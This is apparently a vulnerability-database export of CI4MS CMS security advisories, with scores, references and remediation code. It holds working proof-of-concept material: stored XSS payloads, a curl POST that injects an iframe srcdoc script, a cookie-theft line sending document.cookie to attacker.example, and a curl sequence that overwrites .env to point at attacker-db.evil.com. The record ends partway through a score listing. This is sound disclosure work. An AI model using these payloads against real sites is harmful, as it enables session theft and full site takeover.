purl pkg:composer/ci4-cms-erp/ci4ms@0.31.4.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-cd9w-5f22-xkfk
1
vulnerability VCID-fjcm-syrk-87fg
2
vulnerability VCID-j32w-tcpz-1fak
3
vulnerability VCID-mds3-7xh3-mkgv
4
vulnerability VCID-qrag-mndk-xbb7
5
vulnerability VCID-ux28-acyz-kqd1
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.4.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.4%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.4%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.4%252B0
aliases CVE-2026-39392, GHSA-fjpj-6qcq-6pw2
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-8x3z-1p5j-6qfa
9
url VCID-9ja8-6jec-nqg3
vulnerability_id VCID-9ja8-6jec-nqg3
summary
CI4MS: System Settings (Social Media Management) Full Platform Compromise & Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
## Summary
### **Vulnerability: Stored DOM XSS via System Settings – Social Media Management (Same-Page Attribute Breakout & Persistent Payload Injection)**
- Stored Cross-site Scripting via Unsanitized Social Media Configuration Fields with Immediate Same-Page Execution

### Description
The application fails to properly sanitize user-controlled input within **System Settings – Social Media Management**. Multiple configuration fields, including **Social Media** and **Social Media Link**, accept attacker-controlled input that is stored server-side and later rendered without proper output encoding.

Unlike typical stored XSS that executes on other pages (such as public-facing landing pages), this vulnerability executes directly on the same settings page. The injected payload breaks out of the input attribute context and is immediately interpreted by the browser, resulting in same-page DOM-based XSS.

This represents a different functionality and a separate vulnerability class from public-facing landing page injection.

### Affected Functionality
- System Settings – Social Media Management configuration
- Same-page rendering of user-controlled input fields
- DOM attribute injection within form inputs
- Storage and retrieval of social media configuration values

### Attack Scenario
- An attacker injects a malicious JavaScript payload into one or more Social Media Management fields.
- The payload breaks out of the HTML attribute context.
- The application stores and re-renders the payload without sanitization or encoding.
- The payload executes immediately on the same settings page when rendered.
- The script executes in the browser context of the authenticated user managing settings.

### Impact
- Persistent Stored XSS
- Immediate Same-Page DOM XSS execution
- Execution of arbitrary JavaScript in victims’ browsers
- Administrative privilege escalation
- Full administrator account takeover
- Full account takeover across all roles
- Full compromise of the entire platform

Endpoints:
- `/backend/settings/` (Social Media Management)

## Steps To Reproduce (POC)
1. Navigate to System Settings -> Social Media Management
2. Insert the following XSS payload into any Social Media or Social Media Link field:
`test"><img src=1 onerror=alert()>" class="form-control" placeholder="Name" required>`
3. Save the settings
4. Observe that the payload breaks out of the input attribute context
5. The XSS executes immediately on the same page

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.

# Ready Video POC:
https://mega.nz/file/PBEFBCpJ#rGGxjnPN38qDtmJssAgIoLuStBcQaZFpR0J1bKAXApc
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-34561
reference_id
reference_type
scores
0
value 0.00069
scoring_system epss
scoring_elements 0.21471
published_at 2026-06-07T12:55:00Z
1
value 0.00069
scoring_system epss
scoring_elements 0.21531
published_at 2026-06-05T12:55:00Z
2
value 0.00069
scoring_system epss
scoring_elements 0.21518
published_at 2026-06-06T12:55:00Z
3
value 0.0008
scoring_system epss
scoring_elements 0.23678
published_at 2026-06-09T12:55:00Z
4
value 0.0008
scoring_system epss
scoring_elements 0.23672
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-34561
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-gcfj-cf7j-vwgj
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-gcfj-cf7j-vwgj
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-34561
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-34561
5
reference_url https://github.com/advisories/GHSA-gcfj-cf7j-vwgj
reference_id GHSA-gcfj-cf7j-vwgj
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-gcfj-cf7j-vwgj
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2v9s-x9dt-8ugb
1
vulnerability VCID-6nzs-j8gz-9ucu
2
vulnerability VCID-8x3z-1p5j-6qfa
3
vulnerability VCID-c1ux-y4qk-xfch
4
vulnerability VCID-e9xp-rar3-c7bp
5
vulnerability VCID-fjcm-syrk-87fg
6
vulnerability VCID-j32w-tcpz-1fak
7
vulnerability VCID-mds3-7xh3-mkgv
8
vulnerability VCID-p1q2-w18a-3kae
9
vulnerability VCID-qrag-mndk-xbb7
10
vulnerability VCID-ux28-acyz-kqd1
11
vulnerability VCID-w12h-33nr-bufh
12
vulnerability VCID-ye3h-3tu7-p3e7
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
2
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0%252B0
aliases CVE-2026-34561, GHSA-gcfj-cf7j-vwgj
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-9ja8-6jec-nqg3
10
url VCID-avc6-vkdy-kbgb
vulnerability_id VCID-avc6-vkdy-kbgb
summary
CI4MS: Blogs Categories Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
## Summary
### **Vulnerability: Stored DOM XSS via Blog Category Title (Persistent Payload Injection)**
- Stored Cross-Site Scripting via Unsanitized Blog Category Title in Blog Management

### Description
The application fails to properly sanitize user-controlled input when creating or editing blog categories. An attacker can inject a malicious JavaScript payload into the category title field, which is then stored server-side.

This stored payload is later rendered unsafely across public-facing blog category pages, administrative interfaces, and blog post views without proper output encoding, leading to stored cross-site scripting (XSS).

### Affected Functionality
- Blog category creation functionality
- Blog category editing functionality
- Blog category storage and retrieval logic

### Attack Scenario
- An attacker creates or edits a blog category title to include a malicious XSS payload.
- The application stores this value without sanitization or encoding.
- The payload persists and executes whenever the category title is rendered in affected views.

### Impact
- Persistent Stored XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation when viewed by administrators or privileged users
- Full administrator account takeover
- Full account takeover across all roles
- Full compromise of the entire application

Endpoints:
- `/backend/blogs/categories/`
- `/blog/{id}`

## Steps To Reproduce (POC)
1. Go to the Blog Categories management page
2. Create or edit a category and insert an XSS payload into the category title such as:
`<img src=x onerror=alert(document.domain)>`
3. Save the category
4. View a public blog category page, blog post page, or the administrative interface
5. Notice the XSS payload executing automatically

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.

# Ready Video POC:
https://mega.nz/file/GAFC3AJY#3LHyuyl7I7921UEeA-JlUYdckh6zGLCTy-6w9BNzSmQ
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-34569
reference_id
reference_type
scores
0
value 0.0005
scoring_system epss
scoring_elements 0.15872
published_at 2026-06-07T12:55:00Z
1
value 0.0005
scoring_system epss
scoring_elements 0.15923
published_at 2026-06-05T12:55:00Z
2
value 0.0005
scoring_system epss
scoring_elements 0.15912
published_at 2026-06-06T12:55:00Z
3
value 0.00058
scoring_system epss
scoring_elements 0.18312
published_at 2026-06-09T12:55:00Z
4
value 0.00058
scoring_system epss
scoring_elements 0.18292
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-34569
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
reference_id
reference_type
scores
0
value 10
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
1
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-02T18:04:54Z/
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-fhrf-q333-82fm
reference_id
reference_type
scores
0
value 10
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
1
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
2
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
3
value CRITICAL
scoring_system generic_textual
scoring_elements
4
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-02T18:04:54Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-fhrf-q333-82fm
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-34569
reference_id
reference_type
scores
0
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-34569
5
reference_url https://github.com/advisories/GHSA-fhrf-q333-82fm
reference_id GHSA-fhrf-q333-82fm
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-fhrf-q333-82fm
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2v9s-x9dt-8ugb
1
vulnerability VCID-6nzs-j8gz-9ucu
2
vulnerability VCID-8x3z-1p5j-6qfa
3
vulnerability VCID-c1ux-y4qk-xfch
4
vulnerability VCID-e9xp-rar3-c7bp
5
vulnerability VCID-fjcm-syrk-87fg
6
vulnerability VCID-j32w-tcpz-1fak
7
vulnerability VCID-mds3-7xh3-mkgv
8
vulnerability VCID-p1q2-w18a-3kae
9
vulnerability VCID-qrag-mndk-xbb7
10
vulnerability VCID-ux28-acyz-kqd1
11
vulnerability VCID-w12h-33nr-bufh
12
vulnerability VCID-ye3h-3tu7-p3e7
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0%252B0
aliases CVE-2026-34569, GHSA-fhrf-q333-82fm
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-avc6-vkdy-kbgb
11
url VCID-c1ux-y4qk-xfch
vulnerability_id VCID-c1ux-y4qk-xfch
summary
CI4MS has stored XSS via srcdoc attribute bypass in Google Maps iframe setting
## Summary

The Google Maps iframe setting (`cMap` field) in `compInfosPost()` sanitizes input using `strip_tags()` with an `<iframe>` allowlist and regex-based removal of `on\w+` event handlers. However, the `srcdoc` attribute is not an event handler and passes all filters. An attacker with admin settings access can inject an `<iframe srcdoc="...">` payload with HTML-entity-encoded JavaScript that executes in the context of the parent page when rendered to unauthenticated frontend visitors.

## Details

**Input sanitization** (`modules/Settings/Controllers/Settings.php:49-53`):

```php
$mapValue = trim(strip_tags($this->request->getPost('cMap'), '<iframe>'));
$mapValue = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $mapValue);
$mapValue = preg_replace('/\bon\w+\s*=\s*\'[^\']*\'/i', '', $mapValue);
$mapValue = preg_replace('/\bon\w+\s*=\s*[^\s>]+/i', '', $mapValue);
setting()->set('Gmap.map_iframe', $mapValue);
```

The three regex patterns only match attributes beginning with `on` (e.g., `onclick`, `onerror`). The `srcdoc` attribute does not begin with `on` and passes through untouched.

**Output rendering** (`app/Views/templates/default/gmapiframe.php:3`):

```php
<?php echo strip_tags($settings->map_iframe,'<iframe>') ?>
```

The output applies `strip_tags` with the same `<iframe>` allowlist but performs no attribute filtering or HTML encoding. The stored payload is rendered verbatim.

**Why HTML entities bypass `strip_tags`**: A payload like `<iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;">` contains only one tag (`<iframe>`), which is in the allowlist. The entity-encoded content (`&lt;script&gt;`) is not recognized as a tag by `strip_tags`. However, when the browser renders the `srcdoc` attribute, it decodes the HTML entities and creates a new browsing context containing `<script>alert(1)</script>`.

**Why this is same-origin**: Per the HTML specification, an `<iframe srcdoc="...">` without a `sandbox` attribute inherits the parent document's origin. The injected script has full access to the parent page's cookies, DOM, and session.

## PoC

**Prerequisites**: Authenticated admin session with `update` role on the Settings module.

**Step 1: Inject the payload**

```bash
curl -X POST 'https://target/backend/settings/compInfos' \
  -H 'Cookie: ci_session=ADMIN_SESSION_ID' \
  -d 'cName=TestCo&cAddress=123+Main+St&cPhone=1234567890&cMail=admin@example.com&cMap=%3Ciframe+srcdoc%3D%22%26lt%3Bscript%26gt%3Balert(document.domain)%26lt%3B%2Fscript%26gt%3B%22%3E%3C%2Fiframe%3E'
```

The `cMap` value decodes to:
```html
<iframe srcdoc="&lt;script&gt;alert(document.domain)&lt;/script&gt;"></iframe>
```

**Step 2: Visit any public page that includes the Google Maps widget**

Navigate to the frontend contact or footer page as an unauthenticated visitor. The browser renders the `srcdoc` iframe, decodes the entities, and executes the script in the parent page's origin.

**Expected result**: JavaScript `alert(document.domain)` fires showing the target's domain, confirming same-origin execution.

**Cookie theft variant**:
```
<iframe srcdoc="&lt;script&gt;document.location='https://attacker.example/steal?c='+document.cookie&lt;/script&gt;"></iframe>
```

## Impact

- **Stored XSS affecting all frontend visitors**: The payload persists in the settings database and executes for every unauthenticated visitor viewing pages that include the Google Maps iframe widget.
- **Session hijacking**: The script executes in the parent page's origin, giving access to session cookies (unless HttpOnly is set) and the full DOM.
- **Credential theft**: An attacker can inject a fake login form or redirect users to a phishing page.
- **Scope change**: The attack crosses from the admin backend trust boundary to the public frontend, affecting users who have no relationship with the backend.

The attack requires a compromised or malicious admin account with settings update permission. While this is a privileged starting point (PR:H), the impact crosses to all unauthenticated visitors (S:C), justifying Medium severity.

## Recommended Fix

Replace the regex-based attribute blocklist with a strict allowlist approach. Only allow `src`, `width`, `height`, `frameborder`, `style`, `allowfullscreen`, and `loading` attributes on iframe tags:

```php
// In modules/Settings/Controllers/Settings.php, replace lines 49-52:
$mapValue = trim(strip_tags($this->request->getPost('cMap'), '<iframe>'));
// Strip all attributes except safe ones for iframes
$mapValue = preg_replace_callback(
    '/<iframe\s+([^>]*)>/i',
    function ($matches) {
        $allowedAttrs = ['src', 'width', 'height', 'frameborder', 'style', 'allowfullscreen', 'loading', 'title'];
        preg_match_all('/(\w+)\s*=\s*(?:"([^"]*)"|\'([^\']*)\'|(\S+))/i', $matches[1], $attrs, PREG_SET_ORDER);
        $safe = '';
        foreach ($attrs as $attr) {
            $name = strtolower($attr[1]);
            $value = $attr[2] ?: $attr[3] ?: $attr[4];
            if (in_array($name, $allowedAttrs, true)) {
                // For src, only allow https URLs (block javascript: etc.)
                if ($name === 'src' && !preg_match('#^https://#i', $value)) {
                    continue;
                }
                $safe .= ' ' . $name . '="' . esc($value) . '"';
            }
        }
        return '<iframe' . $safe . '>';
    },
    $mapValue
);
```

This allowlist approach ensures that dangerous attributes like `srcdoc`, `src` with `javascript:` protocol, and any future dangerous attributes are blocked by default.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-39390
reference_id
reference_type
scores
0
value 0.00011
scoring_system epss
scoring_elements 0.01339
published_at 2026-06-05T12:55:00Z
1
value 0.00011
scoring_system epss
scoring_elements 0.01336
published_at 2026-06-09T12:55:00Z
2
value 0.00011
scoring_system epss
scoring_elements 0.01337
published_at 2026-06-08T12:55:00Z
3
value 0.00011
scoring_system epss
scoring_elements 0.01343
published_at 2026-06-07T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-39390
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 5.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0
reference_id
reference_type
scores
0
value 5.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-x3hr-cp7x-44r2
reference_id
reference_type
scores
0
value 5.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-08T16:09:31Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-x3hr-cp7x-44r2
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-39390
reference_id
reference_type
scores
0
value 5.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-39390
5
reference_url https://github.com/advisories/GHSA-x3hr-cp7x-44r2
reference_id GHSA-x3hr-cp7x-44r2
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-x3hr-cp7x-44r2
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.4.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.4.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-cd9w-5f22-xkfk
1
vulnerability VCID-fjcm-syrk-87fg
2
vulnerability VCID-j32w-tcpz-1fak
3
vulnerability VCID-mds3-7xh3-mkgv
4
vulnerability VCID-qrag-mndk-xbb7
5
vulnerability VCID-ux28-acyz-kqd1
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.4.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.4%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.4%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.4%252B0
aliases CVE-2026-39390, GHSA-x3hr-cp7x-44r2
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-c1ux-y4qk-xfch
12
url VCID-e9xp-rar3-c7bp
vulnerability_id VCID-e9xp-rar3-c7bp
summary
CI4MS Vulnerable to Post-Installation Re-entry via Cache-Dependent Install Guard Bypass
## Summary

The install route guard in ci4ms relies solely on a volatile cache check (`cache('settings')`) combined with `.env` file existence to block post-installation access to the setup wizard. When the database is temporarily unreachable during a cache miss (TTL expiry or admin-triggered cache clear), the guard fails open, allowing an unauthenticated attacker to overwrite the `.env` file with attacker-controlled database credentials, achieving full application takeover.

## Details

The `InstallFilter::before()` method at `modules/Install/Filters/InstallFilter.php:13` implements the install guard:

```php
public function before(RequestInterface $request, $arguments = null)
{
    if (file_exists(ROOTPATH . '.env') && !empty(cache('settings'))) return show_404();
}
```

This requires **both** conditions — `.env` existence AND non-empty cache — to block access. The cache population happens in `app/Config/Filters.php:128-151` during the Filters constructor, which runs before route-specific filters:

```php
public function __construct()
{
    parent::__construct();
    if (is_file(ROOTPATH . '.env')) {
        try {
            $this->commonModel = new CommonModel();
            if (empty(cache('settings')) && $this->commonModel->db->tableExists('settings')) {
                $this->settings = $this->commonModel->lists('settings');
                // ... populate cache ...
                cache()->save('settings', $set, 86400); // 24h TTL
            }
        } catch (\Throwable $e) {
            $this->settings = (object)[]; // Silently swallow ALL exceptions
        }
    }
```

When the database is unreachable (connection failure, timeout, maintenance), the `\Throwable` catch at line 148-150 silently swallows the exception. The cache remains empty, and `InstallFilter::before()` sees `empty(cache('settings'))` as true, allowing the request through.

The install controller at `modules/Install/Controllers/Install.php:10-87` then processes the POST:

1. The `host` parameter at line 35 is **not present in the validation rules** (`$valData`, lines 13-27) — it is written directly from `$this->request->getPost('host')` to `.env` with zero validation
2. `copyEnvFile()` (line 70) overwrites the existing `.env` by copying from the `env` template
3. `updateEnvSettings()` (line 70) writes attacker-controlled values including database hostname
4. No database connection is needed — the `index()` action only performs filesystem operations

Additionally, CSRF protection is explicitly disabled for all install routes in `modules/Install/Config/InstallConfig.php:7-10`:

```php
public $csrfExcept = [
    'install',
    'install/*'
];
```

The cache has a 24-hour TTL (`Filters.php:143`), and `cache()->delete('settings')` is called in 14+ locations across admin controllers (Settings, Blog, Backup, AJAX, Pages), creating recurring windows where the cache is empty and must be repopulated from the database.

## PoC

**Prerequisites:** The target database must be temporarily unreachable (maintenance window, connection exhaustion, network partition) at a moment when the `settings` cache has expired or been cleared.

```bash
# Step 1: Verify the install route is accessible (DB outage + cache miss)
curl -s -o /dev/null -w "%{http_code}" http://target/install
# Expected: 200 (instead of 404)

# Step 2: Overwrite .env with attacker-controlled database credentials
curl -X POST http://target/install \
  -d 'baseUrl=http://target/' \
  -d 'host=attacker-db.evil.com' \
  -d 'dbname=ci4ms' \
  -d 'dbusername=root' \
  -d 'dbpassword=pass' \
  -d 'dbdriver=MySQLi' \
  -d 'dbpre=' \
  -d 'dbport=3306' \
  -d 'name=Admin' \
  -d 'surname=Evil' \
  -d 'username=admin' \
  -d 'password=Evil1234!' \
  -d 'email=evil@attacker.com' \
  -d 'siteName=Pwned'
# No CSRF token required (CSRF exempt for install routes)
# .env is now overwritten with attacker's DB hostname

# Step 3: Follow redirect to /install/dbsetup
# This runs migrations on the attacker-controlled database and creates an admin account
# The application now connects to attacker's database = full takeover
```

## Impact

When exploited during a database outage coinciding with cache expiry:

- **Full application takeover**: The `.env` file is overwritten with attacker-controlled database credentials, redirecting all application database queries to an attacker-controlled server
- **Credential theft**: All subsequent user logins, form submissions, and API calls send data to the attacker's database
- **Data integrity loss**: The attacker controls what data the application reads from the database, enabling arbitrary content injection, phishing, and privilege escalation
- **Encryption key reset**: `generateEncryptionKey()` is called (line 70), invalidating all existing encrypted data and sessions

The attack requires no authentication, no CSRF token, and no user interaction. The exploitability window recurs every 24 hours at cache TTL expiry and after any admin action that clears the settings cache, but is only exploitable when the database is simultaneously unreachable.

## Recommended Fix

Replace the volatile cache-based install guard with a persistent filesystem lock:

```php
// modules/Install/Filters/InstallFilter.php
class InstallFilter implements FilterInterface
{
    public function before(RequestInterface $request, $arguments = null)
    {
        // Use a persistent filesystem lock instead of volatile cache
        if (file_exists(WRITEPATH . 'installed.lock')) {
            return show_404();
        }
    }
}
```

Create the lock file at the end of successful installation in `Install::dbsetup()`:

```php
// At the end of dbsetup(), after successful migration and setup:
file_put_contents(WRITEPATH . 'installed.lock', date('Y-m-d H:i:s'));
```

Additionally, add validation for the `host` parameter in `Install::index()`:

```php
$valData['host'] = [
    'label' => lang('Install.databaseHost'),
    'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]'
];
```
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-39393
reference_id
reference_type
scores
0
value 0.00053
scoring_system epss
scoring_elements 0.16945
published_at 2026-06-07T12:55:00Z
1
value 0.00053
scoring_system epss
scoring_elements 0.16881
published_at 2026-06-09T12:55:00Z
2
value 0.00053
scoring_system epss
scoring_elements 0.16863
published_at 2026-06-08T12:55:00Z
3
value 0.00053
scoring_system epss
scoring_elements 0.16983
published_at 2026-06-05T12:55:00Z
4
value 0.00053
scoring_system epss
scoring_elements 0.16979
published_at 2026-06-06T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-39393
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-8rh5-4mvx-xj7j
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
